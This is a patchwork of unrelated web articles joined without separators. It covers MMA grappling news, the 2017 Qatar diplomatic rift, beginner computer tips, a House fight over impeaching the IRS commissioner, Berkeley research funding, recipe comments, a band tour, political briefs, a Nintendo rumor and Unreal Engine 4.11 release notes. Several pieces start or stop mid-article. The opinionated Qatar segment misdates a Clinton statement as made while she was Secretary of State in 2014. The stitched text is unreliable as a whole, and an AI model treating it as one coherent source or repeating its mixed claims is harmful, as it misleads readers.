Dern, who won the 2015 Abu Dhabi Submission Wrestling World Championship at 60kg, made her professional MMA debut in July and won a decision. This past month, she submitted Montana Stewart at Legacy FC 61.
Dern’s inclusion would undoubtedly have been a win for Submission Underground. But with the grappling champ out of the picture, Sonnen and his team selected UFC vet Eye, who recently said she’d take a year off to recover from a 1-5 slump in the octagon. The two have circled each other on the professional MMA circuit, with Tate winning a unanimous decision over Eye this past year at UFC on FOX 16, but never competed against each other in grappling.
Now complicating matters is the status of Tate. At this past Saturday’s UFC 205, she retired from the sport after getting outpointed by Raquel Pennington on the pay-per-view main card of the promotion’s banner event at Madison Square Garden. Sonnen said he wasn’t sure whether that decision would apply to next month’s grappling event. Tate’s rep, Josh Jones, told MMAjunkie the former champ hasn’t made a decision yet.
Check out the video above to hear Sonnen discuss the upcoming event.
— Donald J. Trump (@realDonaldTrump) June 6, 2017
— Donald J. Trump (@realDonaldTrump) June 6, 2017
— Donald J. Trump (@realDonaldTrump) June 6, 2017
​At the same time, however, the US is "grateful to the Qataris" for their "enduring commitment to regional security," Central Command Capt. Kathleen Atanasoff told Stars and Stripes on Tuesday. Saudi Arabia’s new land blockade may threaten civilians reliant on food imports, but US military forces at the air base unsurprisingly don’t count on ground transports for many supplies. As such, they aren’t likely to be affected by the rift, Central Command said.
Clearly wrong-footed by the president’s Twitter outburst, Dana Smith, US ambassador to Qatar, noted that it was a "good time" to reaffirm that the "US supports #Qatar’s efforts in combatting terrorism financing & appreciates its role in coalition against [Daesh]."
With the president making policy and positions on the fly, once again, the representatives of the administration can’t seem to stay on the same page as its head.
— Dana Shell Smith (@AmbDana) June 5, 2017
— Dana Shell Smith (@AmbDana) June 5, 2017
— U.S. Embassy Qatar (@USEmbassyQatar) October 26, 2016
​The decision from Saudi Arabia, the United Arab Emirates, Bahrain, Yemen and Libya’s eastern-based government to isolate Qatar diplomatically won’t have any bearing on how the Pentagon proceeds to use its military base outside of Doha, USAF Secretary Heather Wilson said on Monday in Washington.
"It’s largely a diplomatic issue," Wilson noted.
Qatar has been accused of supporting extreme jihadism in the Middle East and getting too cozy with Riyadh’s regional arch-rival, Iran. Doha says the charges are a "complete fabrication" that’s part of a conspiracy to "undermine the state of Qatar," according to a Qatari Foreign Ministry statement cited by the Guardian.
Never mind that in 2014 US Secretary of State Hillary Clinton said “the governments of Qatar and Saudi Arabia … are providing clandestine financial and logistic support to ISIL [Daesh] and other radical Sunni groups in the region.”
© WikiLeaks Hillary Clinton's Email on Qatari and Saudi support of Daesh.
So Washington is fully aware that the governments of Qatar and Saudi Arabia are backing Islamic extremism, and yet it sees no problem with running air strikes out of Al Udeid. Indeed, even a diplomatic meltdown cannot keep air force jets from regular operations.
To get more out of your computing, you don’t really need newer equipment or fancier software packages. To do your computer work faster, there’s not always a lot of sense in going out and buying more RAM or a new CPU. All you have to do is become a better user. After all, a good plumber doesn’t blame his tools.
Being a better computer user doesn’t require you to sign up for course at college or to read those huge books that geeks have on their desks. Truth is, we don’t read them either. We just refer to them every now and again when you stump us with a question.
Being a better computer user just takes a willingness to learn and to try. Here are a few computer tips for the beginner that should help you immediately.
1. Learn to Use Your Keyboard
Since PCs with a mouse attached were introduced, almost every user has become dependent on it. It seems like a good idea, but don’t you hate it when it dies, or gets clogged, or the right-click gets worn out? I know I do.
Learning how to type and use your keyboard shortcuts 10 Essential Cheat Sheets To Download 10 Essential Cheat Sheets To Download Read More will help you to avoid the mouse. Remember, the keyboard was invented before the mouse, so everything you can do with your mouse, you can do with the keyboard.
There are plenty of freeware programs available for learning how to type, we mentioned several of them in our recently published productivity guide. It just takes patience and practice to master typing. When I started, I was a hunt-and-peck typer and now I can type almost anything without looking at the keyboard – which drives my wife nuts as I type and “listen” to her. She really hates it when I transcribe what she just told me. I don’t recommend doing that, guys.
Keyboard shortcuts are awesome. Possibly the biggest time saver is the Tab key. It might say Tab on it or it might have two arrows – one pointing right and one pointing left. What the Tab key allows you to do is to move your cursor from field to field. This is especially time-saving when going through a form. Try it, just hit the Tab key a few times to see where the focus ends up. You’ll see a dashed line around whatever you tabbed to, or a blinking cursor if it’s in a text field. If you go one field too far, hold down your Shift key and then hit the Tab key once to go back one element. I use these shortcuts all the time when the batteries in my mouse are dead.
You can get printable shortcuts for Windows, Mac OS X, Firefox, Gmail and several other programs by subscribing to our RSS feed. Look for MakeUseOf Downloads link.
2. Be Picky With Software
How many toolbars How To Clean A Hijacked Web Browser How To Clean A Hijacked Web Browser What's more frustrating than launching Firefox only to see that your homepage has been changed without your authorization? Maybe you've even got a shiny new toolbar. Those things are always useful, right? Wrong. Read More do you have on your web browser? Do you have toolbars from Google, Yahoo, MSN, Ask, and more? Just pick one – all the others do pretty much the same thing and just get in the way.
How did you end up with so many toolbars? Chances are you downloaded and installed something and didn’t read about the fact that the free software was going to install a toolbar as well. In the military, we had an initialization known as RTFQ – the G-rated version is Read The Full Question.
How much software do you need on your computer? Allow me to ask this another way. Do you put every scrap of paper that goes through your hands into your filing cabinet? If you did, how soon would it take for the filing cabinet to burst, leaving you to curl up in the fetal position wondering where your birth certificate went.
Same thing happens with your computer when you add every little piece of software you see to your computer. Be picky. If you aren’t going to use that software at least once a week – you probably don’t need it on your computer. If you haven’t used a piece of software in a few months, think about uninstalling it. Check out some uninstallers How To Uninstall Applications Efficiently And Remove Obsolete Files How To Uninstall Applications Efficiently And Remove Obsolete Files Read More from Stefan’s post.
3. Find a Way To Get Organized
Carrying on with the file cabinet analogy, you also need to get your computer organized. I’m sure you’ve seen those computer desktops with a bajillion shortcuts on it. That’s no better than leaving papers all over your office. There’s a reason geek-speak calls them files and folders. Treat them like their real world companions and they will be easier to find, work with, and be more secure all at the same time.
For organizing your desktop 3 Steps to an Organized Desktop 3 Steps to an Organized Desktop Read More , I recommend Fences by StarDock. It’s like setting up work-zones on your computer desktop and keeps it from getting cluttered. I’ve even seen people do this with their real desktops – setting up folders or taping off areas for specific ongoing projects to sit in. It can work, but you need to be vigilant. Entropy is a universal force – it cannot be overcome. But Fences sure can help!
Working on these three areas can only lead to a more productive day, with less effort and confusion. That means a lot less stress for you! And that’s a good thing.
As divided House Republicans debate whether they should vote to impeach IRS Commissioner John Koskinen, members are also wrestling over when it’s appropriate to skirt traditional legislative procedures and take matters into their own hands.
The impeachment effort is just the latest example of a group of rank-and-file members trying to push for a vote on an issue that they see as a priority but that lacks broad support among the House Republican Conference.
[Conservatives Try to Force Vote on IRS Commissioner Impeachment]
Leadership’s default position for resolving such differences has been to defer to committee leaders on what action to take, if any. Following so-called regular order has appeased members on most issues, but it’s backfired amid committee inaction on the resolution to impeach Koskinen.
“My recommendation for the Judiciary Committee is they ought to get on this and look at it and tell the House where they are,” said Texas Rep. Bill Flores, the chairman of the conservative Republican Study Committee. “I think that’s one of the frustrations that rank-and-file membership in the House feel — that nothing is happening there and that the American people deserve an answer.”
The Judiciary Committee held two hearings on Koskinen’s alleged misconduct this spring — more than half a year after Oversight Committee members introduced a resolution calling for Koskinen’s impeachment – but never began formal proceedings.
Since the Judiciary Committee has done nothing since the hearings in May and June, members of the staunchly conservative House Freedom Caucus have decided to bypass the committee and force a vote on the floor.
"What are we waiting for?" said Louisiana Rep. John Fleming, one of the caucus members leading the effort. "If they’re not going to act, it’s time somebody acts."
The Freedom Caucus's plan, crafted in July, is to use a privileged resolution to bring the impeachment resolution up for a vote. Fleming said no decision has been made about when to notice the privileged resolution, a procedural motion that would require the House to address the matter within two legislative days, but that “it will be very soon.”
House GOP leadership has scheduled a special conference meeting to discuss the impeachment resolution next week. Freedom Caucus members indicated they’ll likely wait until after that meeting before they force a vote.
Still, Speaker Paul D. Ryan acknowledged Wednesday that the privileged resolution will come to the floor and members will have to decide how they want to vote.
“You have members on both sides on this, members on the Judiciary Committee on both sides of this,” the Wisconsin Republican said. “And this is something where the conference is going to work its will.”
[Impeachment of IRS Chief Is a Serious Misstep]
Koskinen was in the Capitol Wednesday to make his case for why he shouldn’t be impeached. After a scheduled meeting with the moderate Tuesday Group, Rep. Darrell Issa of California suggested Koskinen also speak with the Republican Study Committee, which was meeting nearby.
The committee decided to accommodate the impromptu meeting with Koskinen. The commissioner made a few “valid points” about due process that gave members something to think about, Flores said, before noting that he still generally favors impeachment.
“I’ve been in too many hearings where basically he was arrogant and condescending and not candid with Congress,” Flores said.
Koskinen said he has no plans to resign before his term ends in November 2017, unless the next president should decide to replace him sooner. Addressing the impeachment effort, he said Wednesday, “I don’t think those facts rise to the level of bribery, treason, high crimes and misdemeanors.”
Many Republicans have not yet made up their minds about whether the House should impeach Koskinen and are frustrated that they’re being forced to vote on it before the Judiciary Committee has weighed the evidence and presented their findings.
“You would have to demonstrate some level of due process prior to proceeding on an impeachment, not just throwing something on the House floor,” Tuesday Group Chairman Charlie Dent of Pennsylvania said after his group’s meeting with Koskinen.
Dent predicted that if the privileged resolution comes up for a floor vote, Democrats would likely launch a successful move to table it with the help of a sufficient number of Republicans. While that would avoid an up-or-down vote on impeachment, Fleming argued that a vote to table the motion would effectively be a vote against impeachment.
Rep. Kenny Marchant, a member of the tax writing Ways and Means Committee that has primary oversight authority over the IRS, said his preference would be to send the matter back to the Judiciary Committee. “If impeachment is the goal, I don’t think a couple of hearings is sufficient,” the Texas Republican added.
But as Ryan indicated, even the Judiciary Committee members are divided, which could explain why the panel has not acted.
North Carolina Rep. Mark Meadows, a Freedom Caucus member involved in the impeachment effort, said that if the Judiciary Committee would have gone further than holding the two hearings, a privileged resolution may not have been necessary. The Freedom Caucus has been transparent about its intentions to force a vote, he added.
“It has not been done in a vacuum,” Meadows said. “It certainly has been done with all the openness and transparency in trying to make sure the issue has been addressed by the full conference.”
[Issa Subpoenas Lois Lerner's Hard Drive for 'Lost' IRS Emails]
The IRS controversy dates back to 2013, when Lois Lerner, the head of the agency’s tax exempt division acknowledged that the IRS had been inappropriately selecting conservative groups’ exemption applications for extra scrutiny.
The Obama administration tapped Koskinen to come in and clean up the agency. It is his handling of the cleanup effort — particularly the agency’s cooperation with congressional committees investigating the targeting scandal — that has landed him in trouble.
Oversight Committee Republicans argue that Koskinen lied to Congress about having turned over all relevant documents for their investigation and that evidence was destroyed under his watch. They outlined these arguments during a May hearing before the Judiciary Committee explaining the case for impeachment.
In June, the Judiciary Committee heard from outside experts about Koskinen’s alleged misconduct and what actions Congress could take against him. The committee has not taken further action or said whether it plans to pursue the matter further. A spokeswoman for the committee declined to comment for this story.
Koskinen declined to testify before the Judiciary Committee, citing inadequate time to prepare for the hearing after returning from a business trip. However, he’s continued to defend his actions, saying that he did not deliberately mislead Congress.
Szinai is a UC Berkeley third-year dual masters student in the Energy and Resources Group, or ERG, as well as the Goldman School of Public Policy. She’s worked in a variety of positions, including as a research assistant at the Lawrence Berkeley National Laboratory and as a graduate researcher for a professor in ERG.
Szinai has had to join existing projects, moving from one to the next as they came to a close. This means that for Szinai, there hasn’t been any security in whether she will find funding for her projects the next semester.
“I’ve somehow managed to pull it together, but it hasn’t been easy,” Szinai said. “There’s no certainty until you find the next thing, which makes it a stressful process.”
Funding for graduate students doesn’t only cover the cost of their research. It can also go to a stipend for their living expenses and pay for part of their tuition.
Andrea Rex, the assistant dean for graduate student services, said in an email that financial support for graduate students is a top priority. It’s rare, she said, for a graduate student in good academic standing to leave purely for financial reasons.
But President Donald Trump’s recently announced budget proposal has left many researchers at UC Berkeley uncertain about the future of their funding. Federal funding makes up nearly half of the university’s $4.4 billion research budget. Trump’s proposed budget has called for major cuts to agencies, such as the Department of Health of Human Services, NASA and the Department of Energy, which provide the majority of UC research funding.
The only proposed increase to a department that significantly finances UC research was to the Department of Defense, which makes up 9 percent of the university’s federal research budget.
Many campus professors fear that potential cuts could harm present and future research or mean fewer available research positions for graduate students.
“I don’t need huge amount of money,” said Daniel Kammen, a professor in ERG and director of the campus’s Renewable & Appropriate Energy Laboratory, or RAEL. “The bulk of my money goes to students, and if those programs were cut, I would have to drop students.”
The state of the budget
The president’s budget is only the first step in a long legislative process that could take more than a year.
Jesse Rothstein, the director of UC Berkeley’s Institute for Research on Labor and Employment, said the budget process is intended to be a “negotiation” between the White House and Congress. The president’s budget has no force of law — it’s just a proposal.
Dan Lindheim, a campus professor of public policy, said there hasn’t been a budget approved in the formal budgetary process for years. He noted that in past years, because of disagreements, Congress has passed continuing resolutions that more or less maintain the prior year’s budget.
Trump has justified the cuts by stating that the government has to learn to spend less money to make the government more accountable to the people. But Trump has also promised to spend on infrastructure, increase defense spending and cut taxes. To keep these promises and not increase the national deficit, Lindheim said, the government will have to make massive cuts to social spending.
“This budget will be a public safety and national security budget,” Trump said in a meeting with the National Governors Association in February. “This defense spending increase will be offset and paid for by finding greater savings and efficiencies across the federal government. We’re going to do more with less.”
The president’s budget proposal also comes after Trump threatened on Twitter to withhold federal funds entirely from UC Berkeley in response to the violent protest Feb. 1 that led to the cancellation of controversial conservative author Milo Yiannopoulos’ scheduled appearance on campus. So far, however, nothing has come from this threat.
Lindheim said in an email that he believes Congress will most likely scale back the proposed cuts so as to look reasonable. Jose Diaz, president of the Berkeley College Republicans, said he doesn’t endorse the president’s budget proposal but trusts Congress to produce an acceptable final version.
“I have faith in our congressional leaders to get the job done,” Diaz said. “To make the necessary amendments that (are) going to be needed to make sure that we have an effective … way of spending our taxpayer money.”
Diaz said no allocation of money should be looked at as untouchable and the funding of every federal department and agency should be reviewed, discussed and debated to ensure it’s used in the most productive way possible.
But David Schaffer, director of the Berkeley Stem Cell Center, said even if Congress cuts the National Institutes of Health’s funding by half of what Trump proposed, it would still be detrimental to research on campus.
“Research groups are going to have to get smaller,” Schaffer said. “Less research is going to get done.”
Coping with cuts
The president’s budget proposes an 18 percent decrease in funding to the NIH, the university’s single largest federal funder of research. Last year, the NIH accounted for nearly 65 percent of federal research funding to the university.
According to Schaffer, there are no alternative sources of funding that could offset such a loss. The California Institute for Regenerative Medicine, another important source of funding for the center, is expected to run out of funding by the end of 2020, Schaffer said. Other private funding sources for the center, such as from the American Cancer Society, Schaffer said, are not enough.
“The amount of research funding they’re able to provide is very small,” Schaffer said. “The NIH funding is irreplaceable.”
A cut like this, Schaffer said, would mean fewer biological advancements.
At the center Schaffer directs, researchers are using stem cells to try to develop treatments for blindness and cures for degenerative diseases, such as Parkinson’s and Alzheimer’s. Losses in funding, he said, would put these projects at risk.
The prospect of decreased funding also brings concerns about the inability for professors to support graduate student researchers.
For Kammen, his students are integral to his work. As such, much of his research funding goes toward supporting his graduate-student researchers.
“Everything I do is done by and with graduate students,” Kammen said. “There are no projects that I do … that don’t involve Berkeley’s amazing student population.”
Kammen said his graduate students make the research he does possible. RAEL focuses on the science of sustainable energy, such as creating low-carbon electrical grids and helping design policies that reduce emissions. Kanmen’s researchers do everything from creating computer simulations to building mini-grids in North Africa.
The bulk of Kammen’s funding comes from state programs, though he is partly funded by the National Science Foundation — a federal agency for which future funding allocations are unclear. The NSF was not mentioned in Trump’s proposed budget.
While Kammen currently has enough nonfederal funding that his projects aren’t in danger, many of his students who aren’t funded through his grants are supported directly by federal programs, such as the NSF Graduate Research Fellowship Program.
These outside funds, which could total more than $100,000, are at risk, Kammen said, and reductions would mean he would have to drop student researchers.
“Most of the money given to grad students, most of the time, it’s not going to specific projects,” said Ian Bolliger, a third-year graduate student who works at RAEL. “Most of it is to support you.”
Bolliger added that there isn’t any real standard for graduate students to obtain funding — it varies. It’s a difficult process, Bolliger said, and sometimes there are students who just can’t find funding from any source.
For other students, funding isn’t a big problem. Noah Kittner is a doctoral student in the Energy and Resources Group who works with Kammen. He has been able to find outside funding from both private and federal institutions, such as the U.S. Agency of International Development, the NSF and the Rockefeller Brothers Fund.
But, as Kittner pointed out, he’s the exception — not the rule.
“I’ve been pretty fortunate,” Kittner said. “Not all my peers have had that same fortune.”
Funding and the future
Henry Brady, dean of the campus’s Goldman School of Public Policy, made it clear that research funding for the UC system is integral to future scientific and economic progress in California.
“We have universities in the state of California and all over the world that need people to teach in them eventually, and grad students become the teachers of tomorrow,” Brady said.
Funding for graduate students — for both their tuition and their research — has far-reaching benefits, and their work at the university allows for world-changing innovation, Brady said. With monetary support from the NSF, for instance, Kammen and his team of graduate students were able to establish Kenya as a clean energy leader.
Additionally, Brady said decreased research funding would mean that fewer international students would come to study in the United States and that fewer still would stay. For the past three decades, funding for public education has decreased in the United States, risking the country’s current leadership position in global higher education. International freshman applicants decreased for the first time in more than a decade in the 2016-17 admissions cycle.
The resulting lack of student-body diversity across the UC system, Kammen said, would be a detriment to his research, as it is the diversity of his students that has strengthened his lab and his work.
Brady added that cuts to funding would also slow economic progress in the country. An analysis by the Bay Area Council Economic Institute in 2014 found that of the 3,744 business founders from UC Berkeley it identified, nearly 70 percent of them were graduate students. The report also found that, together, all the founders in the study generated about $317 billion in annual revenue and employed more than 540,000 individuals in a variety of fields, ranging from legal services to manufacturing.
“Sustained federal investment in science at universities and national labs has been proven over and over again to be a sure-fire way to create new jobs, new industries, and fuel the kind of economic growth that benefits all Americans,” said Vice Chancellor for Research Paul Alivisatos in an email. “The radical disruption of our science enterprise … as proposed in this budget would be a losing strategy for the future of our country.”
UC President Janet Napolitano said in an email that the university will continue to make its case to Congress about the necessity of federal investments in research, which she called crucial to economic and social progress.
“Now is the time for the federal government to bolster investments,” Napolitano said in the email. “The National Institutes of Health, energy research and other such efforts … lead to innovations that power our nation’s competitiveness.”
rosyshell 810 171
.... and where's that Ole Janx Spirit?... Sorry... having a Doug A moment. Too fun and reminds me of a college roommate who had the Klingon bartending guide. Thanks for making me smile. Read more
Missy 398 4
use the vodka with the gold flakes in it or buy edible gold leaf (cake suply store/online) to rim glasses with or float on top. adds just the right touch. be careful if you are getting nerds dru... Read more
wicca coolmom 19 2
OMG...I couldn't believe my eyes when I saw this!! Don't Panic! I used more tequila (Patron Silver, yum!), & it still tasted great! Make sure you have your towel!! Read more
Linda(LMT) 1k 338
Twiddle will be hitting the Empire State first on Saturday Feb 20 in Syracuse at the Westcott Theater. The band will then kick off a three day New York State run starting at the Town Ballroom on Thursday Feb 25 in Buffalo before heading to the Upstate Music Mall on Feb 26 and Irving Plaza in New York City on Feb 27.
As Twiddle continues to lock down slots on large festivals and sell out venues around the country, the Plumperdump tour may be one of the last chances fans have to see the band in smaller more intimate venues. And fans wanting to see the band on this tour, shouldn’t wait until the day of the show to buy tickets.
Twiddle’s December tour included sold out shows at the Brooklyn Bowl and the Paradise Rock Club in Boston as well as a sold out three day New Year’s Eve run in their hometown of Burlington. With several Plumperdump dates close to selling out, fans in New York state may want to act sooner rather than later by locking down tickets in advance.
Twiddle’s brand of hi-def shredding is a fusion mix of rock, jazz, reggae and funk is gaining a rapidly growing fan base across the country. But fans in the northeast are a large part of the band’s continued success.
Many Twiddle fans are finding themselves following the band on smaller runs throughout the country. According to Chris Hollywood of Slingerlands, NY, who will be hitting every stop on the Plumperdump tour, it’s a combination of the music and the fans that make the Twiddle live experience what it is. “The music is better than ever! People are realizing how great the fan base is, and even if the music was terrible, it would be worth the experience.”
Jennifer Graves from New Haven, CT has been listening to the band since 2011. “I’ve seen them play 100 person rooms and I’ve seen them pack the Vibes main field at 11am on a Friday,” she noted. “I see their fan base grow exponentially every year, and some of the people I met at my very first Twiddle show are my best frends today.”
Graves also noted that even longtime fans are blown away by the bands growth, “Watching how the last year has panned out, I can only imagine where their journey will bring them in the future. Sky’s the limit for these boys.”
Tickets for all four New York shows are still available.
Twiddle Pumperdump Winter Tour 2016
Feb. 18 – Portland, Maine (Port City Music Hall) SOLD OUT
Feb. 19 – Providence, Rhode Island (Fete Music Mall)
Feb. 20 – Syracuse, New York (The Wescott Theatre)
Feb. 25 – Buffalo, New York (Town Ballroom)
Feb. 26 – Clifton Park, New York (Upstate Music Hall)
Feb. 27 – New York, New York (Irving Plaza)
March 10 – Washington, DC (9:30 Club)
March 11 – Philadelphia, PA (Theatre of Living Arts)
March 12 – New Haven, CT (Toad’s Place)
Former Republican presidential nominee Mitt Romney Willard (Mitt) Mitt RomneyHillicon Valley: Senators urge Trump to bar Huawei products from electric grid | Ex-security officials condemn Trump emergency declaration | New malicious cyber tool found | Facebook faces questions on treatment of moderators Pence meeting with Senate GOP ahead of vote to block emergency declaration Key senators say administration should ban Huawei tech in US electric grid MORE scoffed Monday at White House confidence that Democrats would curtail major losses on Election Day.
"They're gonna lose big time," Romney said in an afternoon interview on Fox News.
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The Charleston Post and Courier reports that Mark Sanford, as a congressman, called on Clinton to resign when his affair with White House intern Monica Lewinsky was revealed. Sanford is now Gov. Sanford. And, as just about everyone knows by now, he confessed today that he had an affair with a “dear, dear friend” in Argentina.
But back in 1998, according to the Post and Courier, he said of Clinton, “Very damaging stuff. This one’s pretty cut and dried.” Calling the overall situation messy, he added: “I think it would be much better for the country and for him personally [to resign]."
John Ensign had similar thoughts back then. Ensign is now Nevada’s junior senator. As the Ticket reported, Ensign's popularity slumped after he admitted that he had an affair with a former staffer.
In 1998 he served in Congress and had this to say to the Las Vegas Review-Journal: "The honorable thing for him to do is to resign and not put the country through this."
No word from Sanford or Ensign on whether either man plans to resign.
-- Steve Padilla
For Twitter alerts on every new Ticket item, click here. Or follow us @latimestot
As of Tuesday, Lake Mead was at about 39 percent of its capacity. The drought has taken a toll on water resources, resulting in precautionary actions such as a decreased flow allowance into Hoover Dam to protect current distribution policies.
The projected lake level is at about 1,082 feet above sea level, and officials say they can meet water obligations at least through next year without a key shortage declaration. But if the water level drops below the 1,075-foot trigger point, Arizona and Nevada will face water delivery cuts, according to the Washington Times.
An enthusiast site by the name of Nintendo News recently reported a number of interesting tidbits, and it all sounds too good to be true. First off, the author proposes that “Fusion” could be the name of Nintendo’s next console. The evidence, a domain name purchased over a decade ago, seems like a stretch at best. The domain NintendoFusion.com does exist, and it seems as if Nintendo is actually the owner. However, Nintendo News points out itself that the domain likely exists because of the Fusion Tour that Nintendo held in the early aughts. While the name sounds relatively plausible, I wouldn’t bet any money on it. Even if it’s true, remember that the Nintendo Wii was codenamed “Revolution,” and the GameCube once went by “Dolphin.”
The proposed spec-sheets of the “Fusion DS” and “Fusion Terminal” are available in the post as well. The handheld supposedly sports an ARM Cortex-A53 CPU, an Adreno 420 GPU, 3GB of LPDDR3 RAM, and two 960×640 capacitive touchscreens. On the console side, the “Terminal” is reported to have a 2.2GHz 8-core PowerPC CPU, a custom Radeon-based GPU, 4GB of DDR4 RAM, 2GB of DDR3 RAM, and a 4K-compatible HDMI 2.0 output. Those definitely sound like compelling upgrades to the existing hardware, but Nintendo’s problems don’t lie solely with its underpowered hardware. If Nintendo wants hardware adoption, it’s going to need a flood of outstanding first-party titles that the Wii U just hasn’t offered.
With a name like Fusion, this rumor is pointing towards the potential of cross-compatibility between the console and handheld — following Sony’s lead. With cross-buy, cross-play, and remote play, Sony has been knocking it out of the park with the PlayStation Vita in the last few months. Since Nintendo has such a strong hold on the handheld market, it would be wise to follow suit here.
Even if this specific rumor turns out to be bogus, its clear that Nintendo has to do something. The company is hemorrhaging money, and the stock price just fell off of a cliff. It’s highly unlikely that Nintendo will abandon the hardware market in favor of PS4 and iPhone support, so the solution is clear: new hardware.
Nintendo needs to cut its losses with the Wii U, double down on 3DS development, and start anew in the console market in a few years. In the meantime, Nintendo needs to fire much of its leadership, and find a better way to leverage its entire back catalog. With Nintendo’s amazing software library, the Wii U and 3DS Virtual Consoles could be pure profit machines. Instead, Nintendo has squandered this opportunity by only releasing a handful of titles at a time. Frankly, Nintendo better shape up, or prepare for the impending shareholder revolt.
Anton Olkhovik (Sektor), Alessandro Osima (AlessandroOsima), Alex Widener, Alexandru Pană (alexpana), Andreas Axelsson (judgeaxl), Andreas Schultes (andreasschultes), Artem (umerov1999), Artem V. Navrotskiy (bozaro), Ben Reeves (BGR360), bensch228, Black Phoenix (PhoenixBlack), Brandon Wamboldt (brandonwamboldt), Cameron Angus (kamrann), Christoph Becher (chbecher) ,Clay Chai (chaiyuntian), Dan Ogles (dogles), David Baack (davidbaack), Don Williamson (dwilliamson), Eli Tayrien (ETayrienHBO), Eren Pinaz (erenpinaz), G4m4, Hannah Gamiel (hgamiel), Hevedy (Hevedy), Hyeon-Cheol Cho (crocuis), Igor Karatayev (yatagarsu25), Jason (Abatron), Jefferson Pinheiro (Ixiguis), kallehamalainen, Kiqras, Konstantin Nosov (gildor2), Leon Rosengarten (lion03), Manny (Manny-MADE), Marat Radchenko (slonopotamus), Markus Breyer (pluranium), marynate, Matthias Huerbe (MatzeOGH), Maxim Pestun (maxpestun), Moritz Wundke (moritz-wundke), Mustafa TOP (MSTF), Nikos Tsatsalmas (ntk4), Pablo Zurita (pzurita), Pavel Dudrenov (dudrenov), Peter Oost (Sirrah), Piotr Bąk (Pierdek), projectgheist, Rama (EverNewJoy), Rene Rivera (grafikrobot), Rob Ray (robdeadtech), Robert Khalikov (nbjk667), sackyhack, sankasan, Sébastien Rombauts (SRombauts), Simon Taylor (simontaylor81), Skylonxe, Spencer Brown (JedTheKrampus), Tam Armstrong (tamarmstrong), Thomas Mayer (tommybear), Thomas McVay (ThomasMcVay), unktomi, Verdoso, ZehM4tt.
What's New
This release is packed with many new features and numerous performance optimizations. Performance has been a big focus for us as we prepare to ship our next game, Paragon. Several new rendering and animation features focused on rendering realistic characters are in 4.11, as are new audio features and tools improvements. UE4 continues to push VR forward with improvements to VR rendering and support for the latest SDKs so that you can ship your games as VR hardware becomes available to consumers.
Major Features
Performance and Multithreading
A major effort for us over the last several months has been optimizing UE4 in order to get our next game, Paragon, running at 60fps on PC and PlayStation 4.
Paragon offered a unique set of challenges to the team. In Paragon, we need to support animating 10 heroes and 120+ minions at a time, tons of FX, and all while rendering a beautiful, detailed map with long sightlines at 60fps. Paragon pushes the engine to its limits, especially when it comes to animation and rendering.
Thousands of small optimizations throughout the engine have resulted in a big increase in performance for Paragon and should benefit all games built with UE4. Many of those optimizations are in 4.11, and more will be coming in future releases. Here are some of the larger optimizations we've been working on.
Parallelization. Multicore scaling is crucial to achieving high frame rates on modern PCs and consoles, so we have improved our threading architecture in several ways. We've reduced the cost of creating tasks, added support for high priority tasks, and removed many synchronization points.
Rendering performance. The renderer now does a better job balancing the size of its worker tasks and the command buffers generated for the GPU in order to achieve maximum parallelism without adding overhead on the GPU. We've also worked to remove synchronization points in the renderer so that we can better utilize all available cores.
Cloth simulation is now dramatically faster and makes better use of multi-threading. We now call the APEX solver directly for each asset from a worker thread. This allows for much better scheduling and eliminates many sync points and overhead. Clothing will now be updated after animation (when blending is not needed), otherwise after the skeletal mesh component updates.
Faster garbage collection. We now support garbage collection "clusters", which allows the engine to treat groups of objects as a single unit, drastically reducing the number of objects that need to be considered. Currently, only subobjects for Materials and Particle Systems are clustered. Additionally, the mark and destroy phases are more cache-coherent, resulting in a 9x reduction in time, and memory churn has been reduced during reachability analysis.
Multi-threaded animation. Animation Graph updates can now run on worker threads allowing the number of animated characters to scale with the number of cores. Check out the Upgrade Notes as we've deprecated many animation related APIs and there are limitations on which animation graphs can run in worker threads.
Instant animation variable access. We've added a 'fast-path' for variable access in the Animation Graph update. This allows us to simply copy parameters internally rather than executing Blueprint code. The compiler can currently optimize the following constructs: member variables, negated boolean member variables, and members of a nested structure.
Additive animation 'baking'. We now have an option to turn on baked additive animations. This makes using additive animations roughly3x faster. The work involved in calculating the delta pose for an additive animation is done at cook time rather than run time. This saves not only the calculation work involved in creating the additive deltas but also the memory accesses and allocations involved with decompressing the base animation which is no longer needed at runtime. This feature increases cook times, so you'll need to enable it by setting the cvar "a.UseBakedAdditiveAnimations" to 1. Future versions of the engine will rework animation cooking to avoid this cost and permanently enable this optimization.
New: Realistic Hair Shading
We've added a physically based shading model for realistic hair based on the latest research from film.
It models two specular lobes, transmission, and scattering. To use this feature, simply choose Hair from the list of shading models in the material editor.
New: Realistic Eye Shading
You can now give your characters highly realistic eyes using Unreal Engine's new physically-based shading model for eyes..
The shading model approximates subsurface scattering through the sclera, caustics on the iris and specular on the wet layer. To be used in conjunction with the provided eye material and eyeball geometry. Together these additionally model the refraction through the cornea, darkening of the limbal ring, with controls for dilating the pupils.
New: Improved Skin Shading
We've improved the quality and performance of the Subsurface Scattering Profile shading model for realistic skin.
The updated shading model runs in half resolution and requires less GPU memory. The scattering is resolution independent and there is no longer a color shift on object edges. Texture and lighting details are better preserved by storing the diffuse and specular lighting separately in a checkerboard pattern rather than packing both into a single pixel.
New: Realistic Cloth Shading
We've added a physically based shading model for cloth. This simulates a fuzz layer and will produce more realistic results for cloth than were achievable before. To use choose the Cloth shading model in the material editor.
New: Capsule Shadows
Unreal Engine now supports very soft indirect shadows cast by a capsule representation of the character:
Normally when are only indirectly lit they will not have any shadow except for screen-space ambient occlusion. Indirect shadowing needs to be very soft as indirect lighting is coming from many directions, so traditional shadow maps don't work well. The indirect shadow direction and softness come from the Volume Lighting Samples placed and computed by Lightmass during a lighting build.
In game, indirect capsule shadows serve to ground characters to the environment:
You can use capsules for direct shadows too. The light's Source Radius or Source Angle determines how soft they will be. This can be used to achieve extremely soft character shadows in an efficient baked lighting environment, which wasn't possible before.
This capsule shadow implementation is very efficient as it computes shadowing at half resolution with a depth-aware upsample and uses screen tile culling to limit the shadowing work to where it is needed.
The GPU cost is proportional to the number of capsules and the number of pixels affected by the casted shadow.
How to enable Capsule Shadows
Create a new physics asset using only Sphyl bodies (capsules). Spheres also work but are not as flexible. The capsules should overlap slightly at joints. Foot capsules are the most important to tweak so that the character looks grounded. Arms are often not needed unless you can go into cover or crawl on the ground. Assign the physics asset to the Skeletal Mesh Asset's Shadow Physics Asset Finally, enable capsule indirect shadows on the Skeletal Mesh Component
New: Particle Depth of Field
New material functions allow small, out-of-focus particles to be expanded for depth of field the same way that opaque particles would be rendered.
